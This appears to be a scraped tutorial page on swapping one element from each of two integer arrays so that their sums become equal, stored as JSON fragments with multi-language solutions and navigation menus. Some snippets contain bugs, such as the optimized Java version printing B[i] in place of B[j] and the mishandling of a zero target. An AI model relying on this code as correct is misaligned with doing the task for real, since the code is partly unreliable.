"\nClass 12 Maths Solution\n" }, { "code": null, "e": 21462, "s": 21345, "text": "\nPhysics Notes (Class 8-11)\n \n\n\nClass 8 Notes\n\nClass 9 Notes\n\nClass 10 Notes\n\nClass 11 Notes\n" }, { "code": null, "e": 21478, "s": 21462, "text": "\nClass 8 Notes\n" }, { "code": null, "e": 21494, "s": 21478, "text": "\nClass 9 Notes\n" }, { "code": null, "e": 21511, "s": 21494, "text": "\nClass 10 Notes\n" }, { "code": null, "e": 21528, "s": 21511, "text": "\nClass 11 Notes\n" }, { "code": null, "e": 21570, "s": 21528, "text": "\nCS Exams/PSUs\n \n\n" }, { "code": null, "e": 21715, "s": 21570, "text": "\nISRO\n \n\n\nISRO CS Original Papers and Official Keys\n\nISRO CS Solved Papers\n\nISRO CS Syllabus for Scientist/Engineer Exam\n" }, { "code": null, "e": 21759, "s": 21715, "text": "\nISRO CS Original Papers and Official Keys\n" }, { "code": null, "e": 21783, "s": 21759, "text": "\nISRO CS Solved Papers\n" }, { "code": null, "e": 21830, "s": 21783, "text": "\nISRO CS Syllabus for Scientist/Engineer Exam\n" }, { "code": null, "e": 21947, "s": 21830, "text": "\nUGC NET\n \n\n\nUGC NET CS Notes Paper II\n\nUGC NET CS Notes Paper III\n\nUGC NET CS Solved Papers\n" }, { "code": null, "e": 21975, "s": 21947, "text": "\nUGC NET CS Notes Paper II\n" }, { "code": null, "e": 22004, "s": 21975, "text": "\nUGC NET CS Notes Paper III\n" }, { "code": null, "e": 22031, "s": 22004, "text": "\nUGC NET CS Solved Papers\n" }, { "code": null, "e": 22288, "s": 22031, "text": "\nStudent\n \n\n\nCampus Ambassador Program\n\nSchool Ambassador Program\n\nProject\n\nGeek of the Month\n\nCampus Geek of the Month\n\nPlacement Course\n\nCompetititve Programming\n\nTestimonials\n\nStudent Chapter\n\nGeek on the Top\n\nInternship\n\nCareers\n" }, { "code": null, "e": 22316, "s": 22288, "text": "\nCampus Ambassador Program\n" }, { "code": null, "e": 22344, "s": 22316, "text": "\nSchool Ambassador Program\n" }, { "code": null, "e": 22354, "s": 22344, "text": "\nProject\n" }, { "code": null, "e": 22374, "s": 22354, "text": "\nGeek of the Month\n" }, { "code": null, "e": 22401, "s": 22374, "text": "\nCampus Geek of the Month\n" }, { "code": null, "e": 22420, "s": 22401, "text": "\nPlacement Course\n" }, { "code": null, "e": 22447, "s": 22420, "text": "\nCompetititve Programming\n" }, { "code": null, "e": 22462, "s": 22447, "text": "\nTestimonials\n" }, { "code": null, "e": 22480, "s": 22462, "text": "\nStudent Chapter\n" }, { "code": null, "e": 22498, "s": 22480, "text": "\nGeek on the Top\n" }, { "code": null, "e": 22511, "s": 22498, "text": "\nInternship\n" }, { "code": null, "e": 22521, "s": 22511, "text": "\nCareers\n" }, { "code": null, "e": 22679, "s": 22521, "text": "\nCurated DSA Lists\n \n\n\nTop 50 Array Problems\n\nTop 50 String Problems\n\nTop 50 Tree Problems\n\nTop 50 Graph Problems\n\nTop 50 DP Problems\n" }, { "code": null, "e": 22703, "s": 22679, "text": "\nTop 50 Array Problems\n" }, { "code": null, "e": 22728, "s": 22703, "text": "\nTop 50 String Problems\n" }, { "code": null, "e": 22751, "s": 22728, "text": "\nTop 50 Tree Problems\n" }, { "code": null, "e": 22775, "s": 22751, "text": "\nTop 50 Graph Problems\n" }, { "code": null, "e": 22796, "s": 22775, "text": "\nTop 50 DP Problems\n" }, { "code": null, "e": 22834, "s": 22796, "text": "\nTutorials\n \n\n" }, { "code": null, "e": 22907, "s": 22834, "text": "\nJobs\n \n\n\nApply for Jobs\n\nPost a Job\n\nJOB-A-THON\n" }, { "code": null, "e": 22924, "s": 22907, "text": "\nApply for Jobs\n" }, { "code": null, "e": 22937, "s": 22924, "text": "\nPost a Job\n" }, { "code": null, "e": 22950, "s": 22937, "text": "\nJOB-A-THON\n" }, { "code": null, "e": 23136, "s": 22950, "text": "\nPractice\n \n\n\nAll DSA Problems\n\nProblem of the Day\n\nInterview Series: Weekly Contests\n\nBi-Wizard Coding: School Contests\n\nContests and Events\n\nPractice SDE Sheet\n" }, { "code": null, "e": 23155, "s": 23136, "text": "\nAll DSA Problems\n" }, { "code": null, "e": 23176, "s": 23155, "text": "\nProblem of the Day\n" }, { "code": null, "e": 23212, "s": 23176, "text": "\nInterview Series: Weekly Contests\n" }, { "code": null, "e": 23248, "s": 23212, "text": "\nBi-Wizard Coding: School Contests\n" }, { "code": null, "e": 23270, "s": 23248, "text": "\nContests and Events\n" }, { "code": null, "e": 23291, "s": 23270, "text": "\nPractice SDE Sheet\n" }, { "code": null, "e": 23297, "s": 23291, "text": "GBlog" }, { "code": null, "e": 23305, "s": 23297, "text": "Puzzles" }, { "code": null, "e": 23318, "s": 23305, "text": "What's New ?" }, { "code": null, "e": 23324, "s": 23318, "text": "Array" }, { "code": null, "e": 23331, "s": 23324, "text": "Matrix" }, { "code": null, "e": 23339, "s": 23331, "text": "Strings" }, { "code": null, "e": 23347, "s": 23339, "text": "Hashing" }, { "code": null, "e": 23359, "s": 23347, "text": "Linked List" }, { "code": null, "e": 23365, "s": 23359, "text": "Stack" }, { "code": null, "e": 23371, "s": 23365, "text": "Queue" }, { "code": null, "e": 23383, "s": 23371, "text": "Binary Tree" }, { "code": null, "e": 23402, "s": 23383, "text": "Binary Search Tree" }, { "code": null, "e": 23407, "s": 23402, "text": "Heap" }, { "code": null, "e": 23413, "s": 23407, "text": "Graph" }, { "code": null, "e": 23423, "s": 23413, "text": "Searching" }, { "code": null, "e": 23431, "s": 23423, "text": "Sorting" }, { "code": null, "e": 23448, "s": 23431, "text": "Divide & Conquer" }, { "code": null, "e": 23461, "s": 23448, "text": "Mathematical" }, { "code": null, "e": 23471, "s": 23461, "text": "Geometric" }, { "code": null, "e": 23479, "s": 23471, "text": "Bitwise" }, { "code": null, "e": 23486, "s": 23479, "text": "Greedy" }, { "code": null, "e": 23499, "s": 23486, "text": "Backtracking" }, { "code": null, "e": 23516, "s": 23499, "text": "Branch and Bound" }, { "code": null, "e": 23536, "s": 23516, "text": "Dynamic Programming" }, { "code": null, "e": 23554, "s": 23536, "text": "Pattern Searching" }, { "code": null, "e": 23565, "s": 23554, "text": "Randomized" }, { "code": null, "e": 23633, "s": 23565, "text": "Find a pair of elements swapping which makes sum of two arrays same" }, { "code": null, "e": 23683, "s": 23633, "text": "Count distinct elements in every window of size k" }, { "code": null, "e": 23720, "s": 23683, "text": "Convert a given tree to its Sum Tree" }, { "code": null, "e": 23800, "s": 23720, "text": "Change a Binary Tree so that every node stores sum of all nodes in left subtree" }, { "code": null, "e": 23843, "s": 23800, "text": "Convert a Binary Tree into its Mirror Tree" }, { "code": null, "e": 23873, "s": 23843, "text": "Check if two trees are Mirror" }, { "code": null, "e": 23937, "s": 23873, "text": "Iterative method to check if two trees are mirror of each other" }, { "code": null, "e": 23992, "s": 23937, "text": "Iterative function to check if two trees are identical" }, { "code": null, "e": 24043, "s": 23992, "text": "Write Code to Determine if Two Trees are Identical" }, { "code": null, "e": 24105, "s": 24043, "text": "Write a Program to Find the Maximum Depth or Height of a Tree" }, { "code": null, "e": 24152, "s": 24105, "text": "Iterative Method to find Height of Binary Tree" }, { "code": null, "e": 24185, "s": 24152, "text": "N Queen Problem | Backtracking-3" }, { "code": null, "e": 24227, "s": 24185, "text": "Printing all solutions in N-Queen Problem" }, { "code": null, "e": 24276, "s": 24227, "text": "Warnsdorff’s algorithm for Knight’s tour problem" }, { "code": null, "e": 24319, "s": 24276, "text": "The Knight’s tour problem | Backtracking-1" }, { "code": null, "e": 24350, "s": 24319, "text": "Rat in a Maze | Backtracking-2" }, { "code": null, "e": 24402, "s": 24350, "text": "Count number of ways to reach destination in a Maze" }, { "code": null, "e": 24473, "s": 24402, "text": "Count all possible paths from top left to bottom right of a mXn matrix" }, { "code": null, "e": 24544, "s": 24473, "text": "Print all possible paths from top left to bottom right of a mXn matrix" }, { "code": null, "e": 24582, "s": 24544, "text": "Unique paths in a Grid with Obstacles" }, { "code": null, "e": 24652, "s": 24582, "text": "Unique paths covering every non-obstacle block exactly once in a grid" }, { "code": null, "e": 24690, "s": 24652, "text": "Depth First Search or DFS for a Graph" }, { "code": null, "e": 24730, "s": 24690, "text": "Breadth First Search or BFS for a Graph" }, { "code": null, "e": 24764, "s": 24730, "text": "Level Order Binary Tree Traversal" }, { "code": null, "e": 24814, "s": 24764, "text": "Tree Traversals (Inorder, Preorder and Postorder)" }, { "code": null, "e": 24829, "s": 24814, "text": "Arrays in Java" }, { "code": null, "e": 24875, "s": 24829, "text": "Write a program to reverse an array or string" }, { "code": null, "e": 24907, "s": 24875, "text": "Largest Sum Contiguous Subarray" }, { "code": null, "e": 24934, "s": 24907, "text": "Program for array rotation" }, { "code": null, "e": 24950, "s": 24934, "text": "Arrays in C/C++" }, { "code": null, "e": 25018, "s": 24950, "text": "Find a pair of elements swapping which makes sum of two arrays same" }, { "code": null, "e": 25068, "s": 25018, "text": "Count distinct elements in every window of size k" }, { "code": null, "e": 25105, "s": 25068, "text": "Convert a given tree to its Sum Tree" }, { "code": null, "e": 25185, "s": 25105, "text": "Change a Binary Tree so that every node stores sum of all nodes in left subtree" }, { "code": null, "e": 25228, "s": 25185, "text": "Convert a Binary Tree into its Mirror Tree" }, { "code": null, "e": 25258, "s": 25228, "text": "Check if two trees are Mirror" }, { "code": null, "e": 25322, "s": 25258, "text": "Iterative method to check if two trees are mirror of each other" }, { "code": null, "e": 25377, "s": 25322, "text": "Iterative function to check if two trees are identical" }, { "code": null, "e": 25428, "s": 25377, "text": "Write Code to Determine if Two Trees are Identical" }, { "code": null, "e": 25490, "s": 25428, "text": "Write a Program to Find the Maximum Depth or Height of a Tree" }, { "code": null, "e": 25537, "s": 25490, "text": "Iterative Method to find Height of Binary Tree" }, { "code": null, "e": 25570, "s": 25537, "text": "N Queen Problem | Backtracking-3" }, { "code": null, "e": 25612, "s": 25570, "text": "Printing all solutions in N-Queen Problem" }, { "code": null, "e": 25661, "s": 25612, "text": "Warnsdorff’s algorithm for Knight’s tour problem" }, { "code": null, "e": 25704, "s": 25661, "text": "The Knight’s tour problem | Backtracking-1" }, { "code": null, "e": 25735, "s": 25704, "text": "Rat in a Maze | Backtracking-2" }, { "code": null, "e": 25787, "s": 25735, "text": "Count number of ways to reach destination in a Maze" }, { "code": null, "e": 25858, "s": 25787, "text": "Count all possible paths from top left to bottom right of a mXn matrix" }, { "code": null, "e": 25929, "s": 25858, "text": "Print all possible paths from top left to bottom right of a mXn matrix" }, { "code": null, "e": 25967, "s": 25929, "text": "Unique paths in a Grid with Obstacles" }, { "code": null, "e": 26037, "s": 25967, "text": "Unique paths covering every non-obstacle block exactly once in a grid" }, { "code": null, "e": 26075, "s": 26037, "text": "Depth First Search or DFS for a Graph" }, { "code": null, "e": 26115, "s": 26075, "text": "Breadth First Search or BFS for a Graph" }, { "code": null, "e": 26149, "s": 26115, "text": "Level Order Binary Tree Traversal" }, { "code": null, "e": 26199, "s": 26149, "text": "Tree Traversals (Inorder, Preorder and Postorder)" }, { "code": null, "e": 26214, "s": 26199, "text": "Arrays in Java" }, { "code": null, "e": 26260, "s": 26214, "text": "Write a program to reverse an array or string" }, { "code": null, "e": 26292, "s": 26260, "text": "Largest Sum Contiguous Subarray" }, { "code": null, "e": 26319, "s": 26292, "text": "Program for array rotation" }, { "code": null, "e": 26335, "s": 26319, "text": "Arrays in C/C++" }, { "code": null, "e": 26361, "s": 26335, "text": "Difficulty Level :\nMedium" }, { "code": null, "e": 26507, "s": 26361, "text": "Given two arrays of integers, find a pair of values (one value from each array) that you can swap to give the two arrays the same sum.Examples: " }, { "code": null, "e": 26777, "s": 26507, "text": "Input: A[] = {4, 1, 2, 1, 1, 2}, B[] = (3, 6, 3, 3) Output: {1, 3} Sum of elements in A[] = 11 Sum of elements in B[] = 15 To get same sum from both arrays, we can swap following values: 1 from A[] and 3 from B[]Input: A[] = {5, 7, 4, 6}, B[] = {1, 2, 3, 8} Output: 6 2" }, { "code": null, "e": 26931, "s": 26779, "text": "Method 1 (Naive Implementation): Iterate through the arrays and check all pairs of values. Compare new sums or look for a pair with that difference. " }, { "code": null, "e": 26940, "s": 26931, "text": "Chapters" }, { "code": null, "e": 26967, "s": 26940, "text": "descriptions off, selected" }, { "code": null, "e": 27017, "s": 26967, "text": "captions settings, opens captions settings dialog" }, { "code": null, "e": 27040, "s": 27017, "text": "captions off, selected" }, { "code": null, "e": 27048, "s": 27040, "text": "English" }, { "code": null, "e": 27072, "s": 27048, "text": "This is a modal window." }, { "code": null, "e": 27141, "s": 27072, "text": "Beginning of dialog window. Escape will cancel and close the window." }, { "code": null, "e": 27163, "s": 27141, "text": "End of dialog window." }, { "code": null, "e": 27167, "s": 27163, "text": "C++" }, { "code": null, "e": 27172, "s": 27167, "text": "Java" }, { "code": null, "e": 27180, "s": 27172, "text": "Python3" }, { "code": null, "e": 27183, "s": 27180, "text": "C#" }, { "code": null, "e": 27187, "s": 27183, "text": "PHP" }, { "code": null, "e": 27198, "s": 27187, "text": "Javascript" }, { "code": "// CPP code naive solution to find a pair swapping// which makes sum of arrays sum.#include <iostream>using namespace std; // Function to calculate sum of elements of arrayint getSum(int X[], int n){ int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum;} void findSwapValues(int A[], int n, int B[], int m){ // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 int newsum1, newsum2, val1, val2; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { newsum1 = sum1 - A[i] + B[j]; newsum2 = sum2 - B[j] + A[i]; if (newsum1 == newsum2) { val1 = A[i]; val2 = B[j]; } } } cout << val1 << \" \" << val2;} // Driver codeint main(){ int A[] = { 4, 1, 2, 1, 1, 2 }; int n = sizeof(A) / sizeof(A[0]); int B[] = { 3, 6, 3, 3 }; int m = sizeof(B) / sizeof(B[0]); // Call to function findSwapValues(A, n, B, m); return 0;}", "e": 28296, "s": 27198, "text": null }, { "code": "// Java program to find a pair swapping// which makes sum of arrays sumimport java.io.*; class GFG{ // Function to calculate sum of elements of array static int getSum(int X[], int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to prints elements to be swapped static void findSwapValues(int A[], int n, int B[], int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 int newsum1, newsum2, val1 = 0, val2 = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { newsum1 = sum1 - A[i] + B[j]; newsum2 = sum2 - B[j] + A[i]; if (newsum1 == newsum2) { val1 = A[i]; val2 = B[j]; } } } System.out.println(val1+\" \"+val2); } // driver program public static void main (String[] args) { int A[] = { 4, 1, 2, 1, 1, 2 }; int n = A.length; int B[] = { 3, 6, 3, 3 }; int m = B.length; // Call to function findSwapValues(A, n, B, m); }} // Contributed by Pramod Kumar", "e": 29661, "s": 28296, "text": null }, { "code": "# Python code naive solution to find a pair swapping# which makes sum of lists sum. # Function to calculate sum of elements of listdef getSum(X): sum=0 for i in X: sum+=i return sum # Function to prints elements to be swappeddef findSwapValues(A,B): # Calculation if sums from both lists sum1=getSum(A) sum2=getSum(B) # Boolean variable used to reduce further iterations # after the pair is found k=False # Lool for val1 and val2, such that # sumA - val1 + val2 = sumB -val2 + val1 val1,val2=0,0 for i in A: for j in B: newsum1=sum1-i+j newsum2=sum2-j+i if newsum1 ==newsum2: val1=i val2=j # Set to True when pair is found k=True break # If k is True, it means pair is found. # So, no further iterations. if k==True: break print (val1,val2) return # Driver codeA=[4,1,2,1,1,2]B=[3,6,3,3] # Call to functionfindSwapValues(A,B) # code contributed by sachin bisht", "e": 30737, "s": 29661, "text": null }, { "code": "// C# program to find a pair swapping// which makes sum of arrays sumusing System; class GFG{// Function to calculate sum// of elements of arraystatic int getSum(int[] X, int n){ int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum;} // Function to prints elements// to be swappedstatic void findSwapValues(int[] A, int n, int[] B, int m){ // Calculation of sums from // both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 int newsum1, newsum2, val1 = 0, val2 = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { newsum1 = sum1 - A[i] + B[j]; newsum2 = sum2 - B[j] + A[i]; if (newsum1 == newsum2) { val1 = A[i]; val2 = B[j]; } } } Console.Write(val1 + \" \" + val2);} // Driver Codepublic static void Main (){ int[] A = { 4, 1, 2, 1, 1, 2 }; int n = A.Length; int[] B = { 3, 6, 3, 3 }; int m = B.Length; // Call to function findSwapValues(A, n, B, m);}} // This code is contributed// by ChitraNayal", "e": 31959, "s": 30737, "text": null }, { "code": "<?php// PHP code naive solution to find// a pair swapping which makes sum// of arrays sum. // Function to calculate sum of// elements of arrayfunction getSum($X, $n){ $sum = 0; for ($i = 0; $i < $n; $i++) $sum += $X[$i]; return $sum;} function findSwapValues($A, $n, $B, $m){ // Calculation of sums from both arrays $sum1 = getSum($A, $n); $sum2 = getSum($B, $m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 for ($i = 0; $i < $n; $i++) { for ($j = 0; $j < $m; $j++) { $newsum1 = $sum1 - $A[$i] + $B[$j]; $newsum2 = $sum2 - $B[$j] + $A[$i]; if ($newsum1 == $newsum2) { $val1 = $A[$i]; $val2 = $B[$j]; } } } echo $val1 . \" \" . $val2;} // Driver code$A = array(4, 1, 2, 1, 1, 2 );$n = sizeof($A);$B = array(3, 6, 3, 3 );$m = sizeof($B); // Call to functionfindSwapValues($A, $n, $B, $m); // This code is contributed// by Akanksha Rai?>", "e": 32979, "s": 31959, "text": null }, { "code": "<script>// Javascript program to find a pair swapping// which makes sum of arrays sum // Function to calculate sum of elements of array function getSum(X,n) { let sum = 0; for (let i = 0; i < n; i++) sum += X[i]; return sum; } // Function to prints elements to be swapped function findSwapValues(A,n,B,m) { // Calculation of sums from both arrays let sum1 = getSum(A, n); let sum2 = getSum(B, m); // Look for val1 and val2, such that // sumA - val1 + val2 = sumB - val2 + val1 let newsum1, newsum2, val1 = 0, val2 = 0; for (let i = 0; i < n; i++) { for (let j = 0; j < m; j++) { newsum1 = sum1 - A[i] + B[j]; newsum2 = sum2 - B[j] + A[i]; if (newsum1 == newsum2) { val1 = A[i]; val2 = B[j]; } } } document.write(val1+\" \"+val2); } // driver program let A=[4, 1, 2, 1, 1, 2]; let n = A.length; let B=[3, 6, 3, 3 ]; let m = B.length; // Call to function findSwapValues(A, n, B, m); //This code is contributed by avanitrachhadiya2155 </script>", "e": 34248, "s": 32979, "text": null }, { "code": null, "e": 34252, "s": 34248, "text": "1 3" }, { "code": null, "e": 34320, "s": 34252, "text": "Time Complexity :- O(n*m) Method 2 -> Other Naive implementation " }, { "code": null, "e": 34460, "s": 34320, "text": "We are looking for two values, a and b, such that: \nsumA - a + b = sumB - b + a\n 2a - 2b = sumA - sumB\n a - b = (sumA - sumB) / 2" }, { "code": null, "e": 34562, "s": 34460, "text": "Therefore, we’re looking for two values that have a specific target difference: (sumA – sumB) / 2. " }, { "code": null, "e": 34566, "s": 34562, "text": "C++" }, { "code": null, "e": 34571, "s": 34566, "text": "Java" }, { "code": null, "e": 34579, "s": 34571, "text": "Python3" }, { "code": null, "e": 34582, "s": 34579, "text": "C#" }, { "code": null, "e": 34586, "s": 34582, "text": "PHP" }, { "code": null, "e": 34597, "s": 34586, "text": "Javascript" }, { "code": "// CPP code for naive implementation#include <iostream>using namespace std; // Function to calculate sum of elements of arrayint getSum(int X[], int n){ int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum;} // Function to calculate : a - b = (sumA - sumB) / 2int getTarget(int A[], int n, int B[], int m){ // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2);} void findSwapValues(int A[], int n, int B[], int m){ int target = getTarget(A, n, B, m); if (target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 int val1, val2; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { if (A[i] - B[j] == target) { val1 = A[i]; val2 = B[j]; } } } cout << val1 << \" \" << val2;} // Driver codeint main(){ int A[] = { 4, 1, 2, 1, 1, 2 }; int n = sizeof(A) / sizeof(A[0]); int B[] = { 3, 6, 3, 3 }; int m = sizeof(B) / sizeof(B[0]); // Call to function findSwapValues(A, n, B, m); return 0;}", "e": 35846, "s": 34597, "text": null }, { "code": "// Java program to find a pair swapping// which makes sum of arrays sumimport java.io.*; class GFG{ // Function to calculate sum of elements of array static int getSum(int X[], int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to calculate : a - b = (sumA - sumB) / 2 static int getTarget(int A[], int n, int B[], int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2); } // Function to prints elements to be swapped static void findSwapValues(int A[], int n, int B[], int m) { int target = getTarget(A, n, B, m); if (target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 int val1 = 0, val2 = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { if (A[i] - B[j] == target) { val1 = A[i]; val2 = B[j]; } } } System.out.println(val1+\" \"+val2); } // driver program public static void main (String[] args) { int A[] = { 4, 1, 2, 1, 1, 2 }; int n = A.length; int B[] = { 3, 6, 3, 3 }; int m = B.length; // Call to function findSwapValues(A, n, B, m); }} // Contributed by Pramod Kumar", "e": 37455, "s": 35846, "text": null }, { "code": "# Python Code for naive implementation # Function to calculate sum of elements of listdef getSum(X): sum=0 for i in X: sum+=i return sum # Function to calculate : a-b = (sumA - sumB) / 2def getTarget(A,B): #Calculations of sums from both lists sum1=getSum(A) sum2=getSum(B) # Because the target must be an integer if( (sum1-sum2)%2!=0): return 0 return (sum1-sum2)//2 def findSwapValues(A,B): target=getTarget(A,B) if target==0: return # Boolean variable used to reduce further iterations # after the pair is found flag=False # Look for val1 and val2, such that # val1 - val2 = (sumA -sumB) /2 val1,val2=0,0 for i in A: for j in B: if i-j == target: val1=i val2=j # Set to True when pair is found flag=True break if flag==True: break print (val1,val2) return # Driver codeA=[4,1,2,1,1,2]B=[3,6,3,3] # Call to functionfindSwapValues(A,B) # code contributed by sachin bisht", "e": 38538, "s": 37455, "text": null }, { "code": "// C# program to find a pair swapping// which makes sum of arrays sumusing System; class GFG{ // Function to calculate sum of elements of array static int getSum(int []X, int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to calculate : a - b = (sumA - sumB) / 2 static int getTarget(int []A, int n, int []B, int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2); } // Function to prints elements to be swapped static void findSwapValues(int []A, int n, int []B, int m) { int target = getTarget(A, n, B, m); if (target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 int val1 = 0, val2 = 0; for (int i = 0; i < n; i++) { for (int j = 0; j < m; j++) { if (A[i] - B[j] == target) { val1 = A[i]; val2 = B[j]; } } } Console.Write(val1+\" \"+val2); } // Driver code public static void Main () { int []A = { 4, 1, 2, 1, 1, 2 }; int n = A.Length; int []B = { 3, 6, 3, 3 }; int m = B.Length; // Call to function findSwapValues(A, n, B, m); }} /*This code is contributed by 29AjayKumar*/", "e": 40140, "s": 38538, "text": null }, { "code": "<?php// PHP code for naive implementation // Function to calculate sum// of elements of arrayfunction getSum($X, $n){ $sum = 0; for ($i = 0; $i < $n; $i++) $sum += $X[$i]; return $sum;} // Function to calculate :// a - b = (sumA - sumB) / 2function getTarget($A, $n, $B, $m){ // Calculation of sums from // both arrays $sum1 = getSum($A, $n); $sum2 = getSum($B, $m); // because that the target // must be an integer if (($sum1 - $sum2) % 2 != 0) return 0; return (($sum1 - $sum2) / 2);} function findSwapValues($A, $n, $B, $m){ $target = getTarget($A, $n, $B, $m); if ($target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 for ($i = 0; $i < $n; $i++) { for ($j = 0; $j < $m; $j++) { if ($A[$i] - $B[$j] == $target) { $val1 = $A[$i]; $val2 = $B[$j]; } } } echo $val1 . \" \" . $val2;} // Driver code$A = array(4, 1, 2, 1, 1, 2);$n = sizeof($A);$B = array(3, 6, 3, 3);$m = sizeof($B); // Call to functionfindSwapValues($A, $n, $B, $m); // This code is contributed// by Akanksha Rai?>", "e": 41325, "s": 40140, "text": null }, { "code": "<script>// Javascript program to find a pair swapping// which makes sum of arrays sum // Function to calculate sum of elements of arrayfunction getSum(X,n){ let sum = 0; for (let i = 0; i < n; i++) sum += X[i]; return sum;} // Function to calculate : a - b = (sumA - sumB) / 2function getTarget(A,n,B,m){ // Calculation of sums from both arrays let sum1 = getSum(A, n); let sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2);} // Function to prints elements to be swappedfunction findSwapValues(A,n,B,m){ let target = getTarget(A, n, B, m); if (target == 0) return; // Look for val1 and val2, such that // val1 - val2 = (sumA - sumB) / 2 let val1 = 0, val2 = 0; for (let i = 0; i < n; i++) { for (let j = 0; j < m; j++) { if (A[i] - B[j] == target) { val1 = A[i]; val2 = B[j]; } } } document.write(val1+\" \"+val2+\"<br>\");} // driver programlet A=[4, 1, 2, 1, 1, 2];let n = A.length;let B=[3, 6, 3, 3 ];let m = B.length;// Call to functionfindSwapValues(A, n, B, m); // This code is contributed by ab2127</script>", "e": 42689, "s": 41325, "text": null }, { "code": null, "e": 42693, "s": 42689, "text": "1 3" }, { "code": null, "e": 42756, "s": 42693, "text": "Time Complexity :- O(n*m) Method 3 -> Optimized Solution :- " }, { "code": null, "e": 42773, "s": 42756, "text": "Sort the arrays." }, { "code": null, "e": 43032, "s": 42773, "text": "Traverse both array simultaneously and do following for every pair. If the difference is too small then, make it bigger by moving ‘a’ to a bigger value.If it is too big then, make it smaller by moving b to a bigger value.If it’s just right, return this pair." }, { "code": null, "e": 43223, "s": 43032, "text": "If the difference is too small then, make it bigger by moving ‘a’ to a bigger value.If it is too big then, make it smaller by moving b to a bigger value.If it’s just right, return this pair." }, { "code": null, "e": 43308, "s": 43223, "text": "If the difference is too small then, make it bigger by moving ‘a’ to a bigger value." }, { "code": null, "e": 43378, "s": 43308, "text": "If it is too big then, make it smaller by moving b to a bigger value." }, { "code": null, "e": 43416, "s": 43378, "text": "If it’s just right, return this pair." }, { "code": null, "e": 43465, "s": 43416, "text": "Below image is a dry run of the above approach: " }, { "code": null, "e": 43517, "s": 43465, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 43521, "s": 43517, "text": "C++" }, { "code": null, "e": 43526, "s": 43521, "text": "Java" }, { "code": null, "e": 43534, "s": 43526, "text": "Python3" }, { "code": null, "e": 43537, "s": 43534, "text": "C#" }, { "code": null, "e": 43548, "s": 43537, "text": "Javascript" }, { "code": "// CPP code for optimized implementation#include <bits/stdc++.h>using namespace std; // Returns sum of elements in X[]int getSum(int X[], int n){ int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum;} // Finds value of// a - b = (sumA - sumB) / 2int getTarget(int A[], int n, int B[], int m){ // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2);} // Prints elements to be swappedvoid findSwapValues(int A[], int n, int B[], int m){ // Call for sorting the arrays sort(A, A + n); sort(B, B + m); // Note that target can be negative int target = getTarget(A, n, B, m); // target 0 means, answer is not possible if (target == 0) return; int i = 0, j = 0; while (i < n && j < m) { int diff = A[i] - B[j]; if (diff == target) { cout << A[i] << \" \" << B[j]; return; } // Look for a greater value in A[] else if (diff < target) i++; // Look for a greater value in B[] else j++; }} // Driver codeint main(){ int A[] = { 4, 1, 2, 1, 1, 2 }; int n = sizeof(A) / sizeof(A[0]); int B[] = { 1, 6, 3, 3 }; int m = sizeof(B) / sizeof(B[0]); findSwapValues(A, n, B, m); return 0;}", "e": 44971, "s": 43548, "text": null }, { "code": "// Java code for optimized implementationimport java.io.*;import java.util.*; class GFG{ // Function to calculate sum of elements of array static int getSum(int X[], int n) { int sum = 0; for (int i = 0; i < n; i++) sum += X[i]; return sum; } // Function to calculate : a - b = (sumA - sumB) / 2 static int getTarget(int A[], int n, int B[], int m) { // Calculation of sums from both arrays int sum1 = getSum(A, n); int sum2 = getSum(B, m); // because that the target must be an integer if ((sum1 - sum2) % 2 != 0) return 0; return ((sum1 - sum2) / 2); } // Function to prints elements to be swapped static void findSwapValues(int A[], int n, int B[], int m) { // Call for sorting the arrays Arrays.sort(A); Arrays.sort(B); // Note that target can be negative int target = getTarget(A, n, B, m); // target 0 means, answer is not possible if (target == 0) return; int i = 0, j = 0; while (i < n && j < m) { int diff = A[i] - B[j]; if (diff == target) { System.out.println(A[i]+\" \"+B[i]); return; } // Look for a greater value in A[] else if (diff < target) i++; // Look for a greater value in B[] else j++; } } // driver program public static void main (String[] args) { int A[] = { 4, 1, 2, 1, 1, 2 }; int n = A.length; int B[] = { 3, 6, 3, 3 }; int m = B.length; // Call to function findSwapValues(A, n, B, m); }} // Contributed by Pramod Kumar", "e": 46757, "s": 44971, "text": null }, { "code": "# Python code for optimized implementation #Returns sum of elements in listdef getSum(X): 